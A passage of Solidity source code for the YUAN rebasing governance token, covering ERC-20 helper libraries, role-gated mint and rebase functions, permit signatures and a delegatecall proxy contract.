chainId := chainid() } return chainId; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call.value(weiValue)( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } contract YUANToken is YUANGovernanceToken { // Modifiers modifier onlyGov() { require(msg.sender == gov); _; } modifier onlyRebaser() { require(msg.sender == rebaser); _; } modifier onlyMinter() { require( msg.sender == rebaser || msg.sender == gov || msg.sender == incentivizer || msg.sender == migrator, "not minter" ); _; } modifier validRecipient(address to) { require(to != address(0x0)); require(to != address(this)); _; } function initialize( string memory name_, string memory symbol_, uint8 decimals_ ) public { require(yuansScalingFactor == 0, "already initialized"); name = name_; symbol = symbol_; decimals = decimals_; } /** * @notice Computes the current max scaling factor */ function maxScalingFactor() external view returns (uint256) { return _maxScalingFactor(); } function _maxScalingFactor() internal view returns (uint256) { // scaling factor can only go up to 2**256-1 = initSupply * yuansScalingFactor // this is used to check if yuansScalingFactor will be too high to compute balances when rebasing. return uint256(-1) / initSupply; } /** * @notice Mints new tokens, increasing totalSupply, initSupply, and a users balance. * @dev Limited to onlyMinter modifier */ function mint(address to, uint256 amount) external onlyMinter returns (bool) { _mint(to, amount); return true; } function _mint(address to, uint256 amount) internal { if (msg.sender == migrator) { // migrator directly uses v2 balance for the amount // increase initSupply initSupply = initSupply.add(amount); // get external value uint256 scaledAmount = _yuanToFragment(amount); // increase totalSupply totalSupply = totalSupply.add(scaledAmount); // make sure the mint didnt push maxScalingFactor too low require( yuansScalingFactor <= _maxScalingFactor(), "max scaling factor too low" ); // add balance _yuanBalances[to] = _yuanBalances[to].add(amount); // add delegates to the minter _moveDelegates(address(0), _delegates[to], amount); emit Mint(to, scaledAmount); emit Transfer(address(0), to, scaledAmount); } else { // increase totalSupply totalSupply = totalSupply.add(amount); // get underlying value uint256 yuanValue = _fragmentToYuan(amount); // increase initSupply initSupply = initSupply.add(yuanValue); // make sure the mint didnt push maxScalingFactor too low require( yuansScalingFactor <= _maxScalingFactor(), "max scaling factor too low" ); // add balance _yuanBalances[to] = _yuanBalances[to].add(yuanValue); // add delegates to the minter _moveDelegates(address(0), _delegates[to], yuanValue); emit Mint(to, amount); emit Transfer(address(0), to, amount); } } /* - ERC20 functionality - */ /** * @dev Transfer tokens to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. * @return True on success, false otherwise. */ function transfer(address to, uint256 value) external validRecipient(to) returns (bool) { // underlying balance is stored in yuans, so divide by current scaling factor // note, this means as scaling factor grows, dust will be untransferrable. // minimum transfer value == yuansScalingFactor / 1e24; // get amount in underlying uint256 yuanValue = _fragmentToYuan(value); // sub from balance of sender _yuanBalances[msg.sender] = _yuanBalances[msg.sender].sub(yuanValue); // add to balance of receiver _yuanBalances[to] = _yuanBalances[to].add(yuanValue); emit Transfer(msg.sender, to, value); _moveDelegates(_delegates[msg.sender], _delegates[to], yuanValue); return true; } /** * @dev Transfer tokens from one address to another. * @param from The address you want to send tokens from. * @param to The address you want to transfer to. * @param value The amount of tokens to be transferred. */ function transferFrom( address from, address to, uint256 value ) external validRecipient(to) returns (bool) { // decrease allowance _allowedFragments[from][msg.sender] = _allowedFragments[from][msg .sender] .sub(value); // get value in yuans uint256 yuanValue = _fragmentToYuan(value); // sub from from _yuanBalances[from] = _yuanBalances[from].sub(yuanValue); _yuanBalances[to] = _yuanBalances[to].add(yuanValue); emit Transfer(from, to, value); _moveDelegates(_delegates[from], _delegates[to], yuanValue); return true; } /** * @param who The address to query. * @return The balance of the specified address. */ function balanceOf(address who) external view returns (uint256) { return _yuanToFragment(_yuanBalances[who]); } /** @notice Currently returns the internal storage amount * @param who The address to query. * @return The underlying balance of the specified address. */ function balanceOfUnderlying(address who) external view returns (uint256) { return _yuanBalances[who]; } /** * @dev Function to check the amount of tokens that an owner has allowed to a spender. * @param owner_ The address which owns the funds. * @param spender The address which will spend the funds. * @return The number of tokens still available for the spender. */ function allowance(address owner_, address spender) external view returns (uint256) { return _allowedFragments[owner_][spender]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of * msg.sender. This method is included for ERC20 compatibility. * increaseAllowance and decreaseAllowance should be used instead. * Changing an allowance with this method brings the risk that someone may transfer both * the old and the new allowance - if they are both greater than zero - if a transfer * transaction is mined before the later approve() call is mined. * * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) external returns (bool) { _allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg .sender][spender] .add(addedValue); emit Approval( msg.sender, spender, _allowedFragments[msg.sender][spender] ); return true; } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub( subtractedValue ); } emit Approval( msg.sender, spender, _allowedFragments[msg.sender][spender] ); return true; } // --- Approve by signature --- function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(now <= deadline, "YUAN/permit-expired"); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline ) ) ) ); require(owner != address(0), "YUAN/invalid-address-0"); require(owner == ecrecover(digest, v, r, s), "YUAN/invalid-permit"); _allowedFragments[owner][spender] = value; emit Approval(owner, spender, value); } /* - Governance Functions - */ /** @notice sets the rebaser * @param rebaser_ The address of the rebaser contract to use for authentication. */ function _setRebaser(address rebaser_) external onlyGov { address oldRebaser = rebaser; rebaser = rebaser_; emit NewRebaser(oldRebaser, rebaser_); } /** @notice sets the migrator * @param migrator_ The address of the migrator contract to use for authentication. */ function _setMigrator(address migrator_) external onlyGov { address oldMigrator = migrator_; migrator = migrator_; emit NewMigrator(oldMigrator, migrator_); } /** @notice sets the incentivizer * @param incentivizer_ The address of the rebaser contract to use for authentication. */ function _setIncentivizer(address incentivizer_) external onlyGov { address oldIncentivizer = incentivizer; incentivizer = incentivizer_; emit NewIncentivizer(oldIncentivizer, incentivizer_); } /** @notice sets the pendingGov * @param pendingGov_ The address of the rebaser contract to use for authentication. */ function _setPendingGov(address pendingGov_) external onlyGov { address oldPendingGov = pendingGov; pendingGov = pendingGov_; emit NewPendingGov(oldPendingGov, pendingGov_); } /** @notice lets msg.sender accept governance * */ function _acceptGov() external { require(msg.sender == pendingGov, "!pending"); address oldGov = gov; gov = pendingGov; pendingGov = address(0); emit NewGov(oldGov, gov); } /* - Extras - */ /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi */ function rebase( uint256 epoch, uint256 indexDelta, bool positive ) external onlyRebaser returns (uint256) { // no change if (indexDelta == 0) { emit Rebase(epoch, yuansScalingFactor, yuansScalingFactor); return totalSupply; } // for events uint256 prevYuansScalingFactor = yuansScalingFactor; if (!positive) { // negative rebase, decrease scaling factor yuansScalingFactor = yuansScalingFactor .mul(BASE.sub(indexDelta)) .div(BASE); } else { // positive reabse, increase scaling factor uint256 newScalingFactor = yuansScalingFactor .mul(BASE.add(indexDelta)) .div(BASE); if (newScalingFactor < _maxScalingFactor()) { yuansScalingFactor = newScalingFactor; } else { yuansScalingFactor = _maxScalingFactor(); } } // update total supply, correctly totalSupply = _yuanToFragment(initSupply); emit Rebase(epoch, prevYuansScalingFactor, yuansScalingFactor); return totalSupply; } function yuanToFragment(uint256 yuan) external view returns (uint256) { return _yuanToFragment(yuan); } function fragmentToYuan(uint256 value) external view returns (uint256) { return _fragmentToYuan(value); } function _yuanToFragment(uint256 yuan) internal view returns (uint256) { return yuan.mul(yuansScalingFactor).div(internalDecimals); } function _fragmentToYuan(uint256 value) internal view returns (uint256) { return value.mul(internalDecimals).div(yuansScalingFactor); } // Rescue tokens function rescueTokens( address token, address to, uint256 amount ) external onlyGov returns (bool) { // transfer to SafeERC20.safeTransfer(IERC20(token), to, amount); return true; } } contract YUAN is YUANToken { /** * @notice Initialize the new money market * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize( string memory name_, string memory symbol_, uint8 decimals_, address initial_owner, uint256 initTotalSupply_ ) public { super.initialize(name_, symbol_, decimals_); yuansScalingFactor = BASE; initSupply = _fragmentToYuan(initTotalSupply_); totalSupply = initTotalSupply_; _yuanBalances[initial_owner] = initSupply; DOMAIN_SEPARATOR = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this) ) ); } } contract YUANDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract YUANDelegatorInterface is YUANDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation( address oldImplementation, address newImplementation ); /** * @notice Called by the gov to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation( address implementation_, bool allowResign, bytes memory becomeImplementationData ) public; } contract YUANDelegateInterface is YUANDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } contract YUANDelegate is YUAN, YUANDelegateInterface { /** * @notice Construct an empty delegate */ constructor() public {} /** * @notice Called by the delegator on a delegate to initialize it for duty * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public { // Shh -- currently unused data; // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require( msg.sender == gov, "only the gov may call _becomeImplementation" ); } /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public { // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require( msg.sender == gov, "only the gov may call _resignImplementation" ); } } contract YUANDelegator is YUANTokenInterface, YUANDelegatorInterface { /** * @notice Construct a new YUAN * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param initTotalSupply_ Initial token amount * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initTotalSupply_, address implementation_, bytes memory becomeImplementationData ) public { // Creator of the contract is gov during initialization gov = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo( implementation_, abi.encodeWithSignature( "initialize(string,string,uint8,address,uint256)", name_, symbol_, decimals_, msg.sender, initTotalSupply_ ) ); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); } /** * @notice Called by the gov to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation( address implementation_, bool allowResign, bytes memory becomeImplementationData ) public { require( msg.sender == gov, "YUANDelegator::_setImplementation: Caller must be gov" ); if (allowResign) { delegateToImplementation( abi.encodeWithSignature("_resignImplementation()") ); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation( abi.encodeWithSignature( "_becomeImplementation(bytes)", becomeImplementationData ) ); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(address to, uint256 mintAmount) external returns (bool) { to; mintAmount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool) { dst; amount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address src, address dst, uint256 amount ) external returns (bool) { src; dst; amount; // Shh delegateAndReturn(); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { spender; amount; // Shh delegateAndReturn(); } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { spender; addedValue; // Shh delegateAndReturn(); } function maxScalingFactor() external view returns (uint256) { delegateToViewAndReturn(); } function rebase( uint256 epoch, uint256 indexDelta, bool positive ) external returns (uint256) { epoch; indexDelta; positive; delegateAndReturn(); } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { spender; subtractedValue; // Shh delegateAndReturn(); } // --- Approve by signature --- function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { owner; spender; value; deadline; v; r; s; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { owner; spender; // Shh delegateToViewAndReturn(); } /** * @notice Rescues tokens and sends them to the `to` address * @param token The address of the token * @param to The address for which the tokens should be send * @return Success */ function rescueTokens( address token, address to, uint256 amount ) external returns (bool) { token; to; amount; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param delegator The address of the account which has designated a delegate * @return Address of delegatee */ function delegates(address delegator) external view returns (address) { delegator; // Shh delegateToViewAndReturn(); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { owner; // Shh delegateToViewAndReturn(); } /** * @notice Currently unused. For future compatability * @param owner The address of the account to query * @return The number of underlying tokens owned by `owner` */ function balanceOfUnderlying(address owner) external view returns (uint256) { owner; // Shh delegateToViewAndReturn(); } /*** Gov Functions ***/ /** * @notice Begins transfer of gov rights. The newPendingGov must call `_acceptGov` to finalize the transfer. * @dev Gov function to begin change of gov. The newPendingGov must call `_acceptGov` to finalize the transfer. * @param newPendingGov New pending gov. */ function _setPendingGov(address newPendingGov) external { newPendingGov; // Shh delegateAndReturn(); } function _setRebaser(address rebaser_) external { rebaser_; // Shh delegateAndReturn(); } function _setIncentivizer(address incentivizer_) external { incentivizer_; // Shh delegateAndReturn(); } function _setMigrator(address migrator_) external { migrator_; // Shh delegateAndReturn(); } /** * @notice Accepts transfer of gov rights. msg.sender must be pendingGov * @dev Gov function for pending gov to accept role and update gov * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptGov() external { delegateAndReturn(); } function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) { account; blockNumber; delegateToViewAndReturn(); } function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external { delegatee; nonce; expiry; v; r; s; delegateAndReturn(); } function delegate(address delegatee) external { delegatee; delegateAndReturn(); } function getCurrentVotes(address account) external view returns (uint256) { account; delegateToViewAndReturn(); } function yuanToFragment(uint256 yuan) external view returns (uint256) { yuan; delegateToViewAndReturn(); } function fragmentToYuan(uint256 value) external view returns (uint256) { value; delegateToViewAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall( abi.encodeWithSignature("delegateToImplementation(bytes)", data) ); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall( abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data) ); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), sub(returndatasize, 0x40)) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function() external payable { require( msg.value == 0, "YUANDelegator:fallback: cannot send value to fallback" ); // delegate all other functions to current implementation delegateAndReturn(); } }
DC1
